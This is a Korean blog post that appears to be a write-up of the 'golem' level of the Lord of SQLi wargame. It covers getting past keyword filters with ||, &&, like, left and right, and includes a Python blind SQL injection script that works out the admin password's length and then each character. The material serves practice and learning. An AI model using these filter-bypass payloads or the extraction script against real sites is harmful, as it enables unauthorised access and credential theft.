DoR@Hee의 끄적끄적
los - golem 본문
1. or , and, substr,= 을 필터링 하고 있다.
1-1 or 은 &&를 이용 필터링을 우회
1-2 and 는 ||를 이용 필터링 우회
1-3 substr은 문자열 비교 함수인 left, right함수를 이용 필터링
1-4 = 는 like를 이용하여 필터링한다.
※여기서
right, left 함수는 문자열을 반환하는 함수인대
ex) left('abced',2) = ab
right('abced',2 = ed
이렇게 반환한다.
like 함수는
특정 문자열을 찾는대 사용하는 함수이며
select * from prob_golem where id = 'admin' 와
select * from prob_golem where id like 'admin' 은 같은 구문이다.
즉 이렇게 해서 문제를 풀면된다.
쿼리를 참으로 만들기위해
'pw || id like 'admin'--를 입력해서 Hello admin문자열을 출력 할 수 있었고
admin pw의 길이를 알아내기 위해서 length(pw)를 이용 pw의 길이를 알아낸다.
길이를 알아낸 후 && ascii(right(left(pw,1),1)) like 55(7) 를 입력 참인걸 확인 한 후
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | import requests cookies = {'PHPSESSID': 'g9kigs66hol59j7negjphn4hc2'} for lengths in range(1, 30): length = 0 url1 = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php" url = url1 + "?pw=1%27%20||%20id%20like%20%27admin%27%20%20%26%26%20length(pw)%20like%20{0}--%20".format(lengths) res = requests.get(url, cookies=cookies) if "<h2>Hello admin</h2>" in res.text: print("=====================================") print("길이는{0}".format(lengths)) print("=====================================\n") length = lengths break else: continue for i in range(1, length + 1): for j in range(33, 127): result = [] url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=1%27%20||%20id%20like%20%27admin%27%20%20%26%26%20ascii(right(left(pw,{0}),1))%20like%20{1}--%20".format(i, j) res = requests.get(url, cookies=cookies) if "<h2>Hello admin</h2>" in res.text: print("{0}".format(chr(j)), end='') result.append(chr(j)) break | cs |
파이썬 코드 작성
성공
-추가-
left , right 함수 사용법
위 쿼리문은
왼쪽에 있는 첫번째 문자열이 m이 맞니? 라고 묻는 쿼리 문이다
만약 참일 경우는 1을 반환하고
거짓인 경우는 0을 반환한다.
위 쿼리문 같이 자리수 와 문자열을 비교 할 수 도 있다.
맞을 경우는 참을 반환한다.
만약 left, right을 단독으로 쓸 경우 자리수를 맞출 순 없기 때문에 쿼리문을 우회 할 땐 같이 쓰는게 좋을거같다.
거짓일 경우 0
위 와 같이 쿼리문을 작성해서 사용 할 수 도 있다
'WarGame > los(los.rubiya.kr)' 카테고리의 다른 글
los - bugbear (0) | 2019.03.26 |
---|---|
los - darkknight (0) | 2019.03.25 |
los - skeleton (0) | 2019.03.21 |
los - vampire (0) | 2019.03.21 |
los - troll (0) | 2019.03.20 |